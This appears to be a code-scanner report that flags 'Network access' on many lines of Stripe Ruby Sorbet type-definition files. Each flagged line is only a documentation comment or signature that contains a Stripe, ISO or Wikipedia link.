sig { returns(String) } def last4; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 129
def last4; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nilable - Network accessline 130
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 140
sig { returns(T.nilable(String)) } def routing_number; end # For bank accounts, possible values are `new`, `validated`, `verified`, `verification_failed`, `tokenized_account_number_deactivated` or `errored`. A bank account that hasn - Network accessline 141
def routing_number; end # For bank accounts, possible values are `new`, `validated`, `verified`, `verification_failed`, `tokenized_account_number_deactivated` or `errored`. A bank account that hasn't had any activity or validation perfo - Network accessline 142
# For bank accounts, possible values are `new`, `validated`, `verified`, `verification_failed`, `tokenized_account_number_deactivated` or `errored`. A bank account that hasn't had any activity or validation performed is `new`. If Stripe can - Network accessline 143
# # For external accounts, possible values are `new`, `errored`, `verification_failed`, and `tokenized_account_number_deactivated`. If a payout fails, the status is set to `errored` and scheduled payouts are stopped until account detail - Network accessline 144
# For external accounts, possible values are `new`, `errored`, `verification_failed`, and `tokenized_account_number_deactivated`. If a payout fails, the status is set to `errored` and scheduled payouts are stopped until account details are
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing/alert.rbi
- Network accessline 59
sig { returns(String) } def title; end # Encapsulates configuration of the alert to monitor usage on a specific [Billing Meter](https://docs.stripe.com/api/billing/meter). - Network accessline 60
def title; end # Encapsulates configuration of the alert to monitor usage on a specific [Billing Meter](https://docs.stripe.com/api/billing/meter). sig { returns(T.nilable(UsageThreshold)) } - Network accessline 61
# Encapsulates configuration of the alert to monitor usage on a specific [Billing Meter](https://docs.stripe.com/api/billing/meter).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing/credit_balance_summary.rbi
- Network accessline 10
class AvailableBalance < ::Stripe::StripeObject class Monetary < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency] - Network accessline 11
class Monetary < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { re - Network accessline 12
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 38
class LedgerBalance < ::Stripe::StripeObject class Monetary < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](ht - Network accessline 39
class Monetary < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { re - Network accessline 40
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing/credit_balance_transaction.rbi
- Network accessline 10
class Amount < ::Stripe::StripeObject class Monetary < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://s - Network accessline 11
class Monetary < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { re - Network accessline 12
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 72
class Amount < ::Stripe::StripeObject class Monetary < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://s - Network accessline 73
class Monetary < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { re - Network accessline 74
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing/credit_grant.rbi
- Network accessline 7
# A credit grant is an API resource that documents the allocation of some billing credits to a customer. # # Related guide: [Billing credits](https://docs.stripe.com/billing/subscriptions/usage-based/billing-credits) - Network accessline 8
# # Related guide: [Billing credits](https://docs.stripe.com/billing/subscriptions/usage-based/billing-credits) class CreditGrant < APIResource - Network accessline 9
# Related guide: [Billing credits](https://docs.stripe.com/billing/subscriptions/usage-based/billing-credits) - Network accessline 11
class Amount < ::Stripe::StripeObject class Monetary < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://strip - Network accessline 12
class Monetary < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { return - Network accessline 13
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 50
end end # The price type that credit grants can apply to. We currently only support the `metered` price type. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. - Network accessline 51
end # The price type that credit grants can apply to. We currently only support the `metered` price type. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. Cannot be use - Network accessline 52
# The price type that credit grants can apply to. We currently only support the `metered` price type. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. Cannot be used in combinati - Network accessline 53
sig { returns(T.nilable(String)) } def price_type; end # The prices that credit grants can apply to. We currently only support `metered` prices. This refers to prices that have a [Billing Meter](https://docs.stripe.com/a - Network accessline 54
def price_type; end # The prices that credit grants can apply to. We currently only support `metered` prices. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. Cannot be - Network accessline 55
# The prices that credit grants can apply to. We currently only support `metered` prices. This refers to prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them. Cannot be used in combination with `pri - Network accessline 103
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 104
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T: - Network accessline 105
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing/meter.rbi
- Network accessline 7
# Meters specify how to aggregate meter events over a billing period. Meter events represent the actions that customers take in your system. Meters attach to prices and form the basis of the bill. # # Related guide: [Usage based bil - Network accessline 8
# # Related guide: [Usage based billing](https://docs.stripe.com/billing/subscriptions/usage-based) class Meter < APIResource - Network accessline 9
# Related guide: [Usage based billing](https://docs.stripe.com/billing/subscriptions/usage-based)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing/meter_event.rbi
- Network accessline 22
sig { returns(String) } def object; end # The payload of the event. This contains the fields corresponding to a meter's `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and `value_settings.event_payload_key - Network accessline 23
def object; end # The payload of the event. This contains the fields corresponding to a meter's `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and `value_settings.event_payload_key` (default is `value`). Read m - Network accessline 24
# The payload of the event. This contains the fields corresponding to a meter's `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and `value_settings.event_payload_key` (default is `value`). Read more about the [payload
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing_portal/configuration.rbi
- Network accessline 5
module Stripe module BillingPortal # A portal configuration describes the functionality and behavior you embed in a portal session. Related guide: [Configure the customer portal](https://docs.stripe.com/customer-management/configure-p - Network accessline 6
module BillingPortal # A portal configuration describes the functionality and behavior you embed in a portal session. Related guide: [Configure the customer portal](https://docs.stripe.com/customer-management/configure-portal). clas - Network accessline 7
# A portal configuration describes the functionality and behavior you embed in a portal session. Related guide: [Configure the customer portal](https://docs.stripe.com/customer-management/configure-portal). - Network accessline 155
end end # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription' - Network accessline 156
end # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycl - Network accessline 157
# Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to th - Network accessline 217
sig { returns(T::Boolean) } def enabled; end # A shareable URL to the hosted portal login page. Your customers will be able to log in with their [email](https://docs.stripe.com/api/customers/object#customer_object-email) and - Network accessline 218
def enabled; end # A shareable URL to the hosted portal login page. Your customers will be able to log in with their [email](https://docs.stripe.com/api/customers/object#customer_object-email) and receive a link to their customer po - Network accessline 219
# A shareable URL to the hosted portal login page. Your customers will be able to log in with their [email](https://docs.stripe.com/api/customers/object#customer_object-email) and receive a link to their customer portal. - Network accessline 239
sig { returns(Integer) } def created; end # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/cr - Network accessline 240
def created; end # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-retu - Network accessline 241
# The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-return_url) when creating t - Network accessline 257
sig { returns(LoginPage) } def login_page; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a struct - Network accessline 258
def login_page; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns( - Network accessline 259
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/billing_portal/session.rbi
- Network accessline 18
# and billing details. # # Related guide: [Customer management](https://docs.stripe.com/customer-management) - Network accessline 19
# # Related guide: [Customer management](https://docs.stripe.com/customer-management) class Session < APIResource - Network accessline 20
# Related guide: [Customer management](https://docs.stripe.com/customer-management) - Network accessline 126
end class Item < ::Stripe::StripeObject # The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated. - Network accessline 127
class Item < ::Stripe::StripeObject # The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated. sig { returns(T.nilable(String)) } - Network accessline 128
# The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated. - Network accessline 129
sig { returns(T.nilable(String)) } def id; end # The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https:// - Network accessline 130
def id; end # The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https://docs.stripe.com/api/customer_portal/configurati - Network accessline 131
# The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_ - Network accessline 132
sig { returns(T.nilable(String)) } def price; end # [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow. - Network accessline 133
def price; end # [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow. sig { returns(T.nilable(Integer)) } - Network accessline 134
# [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow. - Network accessline 145
sig { returns(T.nilable(T::Array[Discount])) } def discounts; end # The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and - Network accessline 146
def discounts; end # The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple items are not updatable. - Network accessline 147
# The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple items are not updatable. - Network accessline 197
sig { returns(T.nilable(String)) } def customer_account; end # Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about u - Network accessline 198
def customer_account; end # Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about using customer portal deep links and flows - Network accessline 199
# Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about using customer portal deep links and flows. - Network accessline 212
sig { returns(String) } def object; end # The account for which the session was created on behalf of. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, s - Network accessline 213
def object; end # The account for which the session was created on behalf of. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, see the [docs](https://docs.str - Network accessline 214
# The account for which the session was created on behalf of. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, see the [docs](https://docs.stripe.com/connect/separa
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/capability.rbi
- Network accessline 6
# This is an object representing a capability for a Stripe account. # # Related guide: [Account capabilities](https://docs.stripe.com/connect/account-capabilities) - Network accessline 7
# # Related guide: [Account capabilities](https://docs.stripe.com/connect/account-capabilities) class Capability < APIResource - Network accessline 8
# Related guide: [Account capabilities](https://docs.stripe.com/connect/account-capabilities) - Network accessline 112
sig { returns(T::Array[String]) } def currently_due; end # Description of why the capability is disabled. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification). - Network accessline 113
def currently_due; end # Description of why the capability is disabled. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification). sig { returns(T.nilable(String)) } - Network accessline 114
# Description of why the capability is disabled. [Learn more about handling verification issues](https://docs.stripe.com/connect/handling-api-verification).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/card.rbi
- Network accessline 8
# transfer to those cards later. # # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards) - Network accessline 9
# # Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards) class Card < APIResource - Network accessline 10
# Related guide: [Card payments with Sources](https://docs.stripe.com/sources/cards) - Network accessline 60
sig { returns(T.nilable(String)) } def country; end # Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies). Only appl - Network accessline 61
def country; end # Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies). Only applicable on accounts (not customers or re - Network accessline 62
# Three-letter [ISO code for currency](https://www.iso.org/iso-4217-currency-codes.html) in lowercase. Must be a [supported currency](https://docs.stripe.com/currencies). Only applicable on accounts (not customers or recipients). The card c - Network accessline 66
sig { returns(T.nilable(T.any(String, ::Stripe::Customer))) } def customer; end # If a CVC was provided, results of the check: `pass`, `fail`, `unavailable`, or `unchecked`. A result of unchecked indicates that CVC was provided but - Network accessline 67
def customer; end # If a CVC was provided, results of the check: `pass`, `fail`, `unavailable`, or `unchecked`. A result of unchecked indicates that CVC was provided but hasn't been checked yet. Checks are typically performed when attac - Network accessline 68
# If a CVC was provided, results of the check: `pass`, `fail`, `unavailable`, or `unchecked`. A result of unchecked indicates that CVC was provided but hasn't been checked yet. Checks are typically performed when attaching a card to a Custo - Network accessline 104
sig { returns(String) } def last4; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 105
def last4; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nilable - Network accessline 106
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 119
sig { returns(T.nilable(String)) } def regulated_status; end # For external accounts that are cards, possible values are `new` and `errored`. If a payout fails, the status is set to `errored` and [scheduled payouts](https://stripe.c - Network accessline 120
def regulated_status; end # For external accounts that are cards, possible values are `new` and `errored`. If a payout fails, the status is set to `errored` and [scheduled payouts](https://stripe.com/docs/payouts#payout-schedule) are st - Network accessline 121
# For external accounts that are cards, possible values are `new` and `errored`. If a payout fails, the status is set to `errored` and [scheduled payouts](https://stripe.com/docs/payouts#payout-schedule) are stopped until account details ar
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/cash_balance.rbi
- Network accessline 20
end end # A hash of all cash balances available to this customer. You cannot delete a customer with any cash balances, even if the balance is 0. Amounts are represented in the [smallest currency unit](https://docs.stripe.com/currenc - Network accessline 21
end # A hash of all cash balances available to this customer. You cannot delete a customer with any cash balances, even if the balance is 0. Amounts are represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero - Network accessline 22
# A hash of all cash balances available to this customer. You cannot delete a customer with any cash balances, even if the balance is 0. Amounts are represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/charge.rbi
- Network accessline 5
module Stripe # The `Charge` object represents a single attempt to move money into your Stripe account. # PaymentIntent confirmation is the most common way to create Charges, but [Account Debits](https://docs.stripe.com/connect/account- - Network accessline 6
# The `Charge` object represents a single attempt to move money into your Stripe account. # PaymentIntent confirmation is the most common way to create Charges, but [Account Debits](https://docs.stripe.com/connect/account-debits) may also - Network accessline 7
# PaymentIntent confirmation is the most common way to create Charges, but [Account Debits](https://docs.stripe.com/connect/account-debits) may also create Charges. - Network accessline 13
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 14
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 15
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 25
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 26
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 27
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 141
end end # An enumerated value providing a more detailed explanation on [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines). - Network accessline 142
end # An enumerated value providing a more detailed explanation on [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines). sig { returns(T.nilable(String)) } - Network accessline 143
# An enumerated value providing a more detailed explanation on [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines). - Network accessline 150
sig { returns(T.nilable(String)) } def network_decline_code; end # Possible values are `approved_by_network`, `declined_by_network`, `not_sent_to_network`, and `reversed_after_approval`. The value `reversed_after_approval` indic - Network accessline 151
def network_decline_code; end # Possible values are `approved_by_network`, `declined_by_network`, `not_sent_to_network`, and `reversed_after_approval`. The value `reversed_after_approval` indicates the payment was [blocked by Stripe]( - Network accessline 152
# Possible values are `approved_by_network`, `declined_by_network`, `not_sent_to_network`, and `reversed_after_approval`. The value `reversed_after_approval` indicates the payment was [blocked by Stripe](https://docs.stripe.com/declines#blo - Network accessline 153
sig { returns(T.nilable(String)) } def network_status; end # An enumerated value providing a more detailed explanation of the outcome's `type`. Charges blocked by Radar's default block rule have the value `highest_risk_level`. C - Network accessline 154
def network_status; end # An enumerated value providing a more detailed explanation of the outcome's `type`. Charges blocked by Radar's default block rule have the value `highest_risk_level`. Charges placed in review by Radar's defaul - Network accessline 155
# An enumerated value providing a more detailed explanation of the outcome's `type`. Charges blocked by Radar's default block rule have the value `highest_risk_level`. Charges placed in review by Radar's default review rule have the value ` - Network accessline 168
sig { returns(T.nilable(String)) } def seller_message; end # Possible values are `authorized`, `manual_review`, `issuer_declined`, `blocked`, and `invalid`. See [understanding declines](https://docs.stripe.com/declines) and [Rad - Network accessline 169
def seller_message; end # Possible values are `authorized`, `manual_review`, `issuer_declined`, `blocked`, and `invalid`. See [understanding declines](https://docs.stripe.com/declines) and [Radar reviews](https://docs.stripe.com/radar - Network accessline 170
# Possible values are `authorized`, `manual_review`, `issuer_declined`, `blocked`, and `invalid`. See [understanding declines](https://docs.stripe.com/declines) and [Radar reviews](https://docs.stripe.com/radar/reviews) for details. - Network accessline 255
end class Affirm < ::Stripe::StripeObject # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 256
class Affirm < ::Stripe::StripeObject # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. sig { returns(T.nilable(String)) } - Network accessline 257
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 258
sig { returns(T.nilable(String)) } def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 259
def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. sig { returns(T.nilable(String)) } - Network accessline 260
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 674
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 675
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 676
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 686
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 687
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 688
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 700
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 701
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 702
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 712
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 713
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 714
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 757
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 758
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 759
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 769
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 770
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 771
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 783
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 784
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 785
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 795
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 796
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 797
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 915
# Installment details for this payment. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 916
# # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). sig { returns(T.nilable(Installments)) } - Network accessline 917
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1038
sig { returns(T.nilable(String)) } def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 1039
def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. sig { returns(T.nilable(String)) } - Network accessline 1040
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 1044
sig { returns(T.nilable(Integer)) } def capture_before; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characte - Network accessline 1045
def capture_before; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In s - Network accessline 1046
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 1076
sig { returns(T.nilable(String)) } def iin; end # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization - Network accessline 1077
def iin; end # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payme - Network accessline 1078
# Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre - Network accessline 1296
sig { returns(T.nilable(String)) } def brand; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and fir - Network accessline 1297
def brand; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases - Network accessline 1298
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 1617
end class Paynow < ::Stripe::StripeObject # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1618
class Paynow < ::Stripe::StripeObject # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. sig { returns(T.nilable(String)) } - Network accessline 1619
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1620
sig { returns(T.nilable(String)) } def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1621
def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. sig { returns(T.nilable(String)) } - Network accessline 1622
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1832
sig { returns(T.nilable(String)) } def last4; end # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_meth - Network accessline 1833
def last4; end # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on - Network accessline 1834
# Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on the Charge. Use this ma - Network accessline 1959
sig { returns(T.nilable(String)) } def fingerprint; end # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1960
def fingerprint; end # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. sig { returns(T.nilable(String)) } - Network accessline 1961
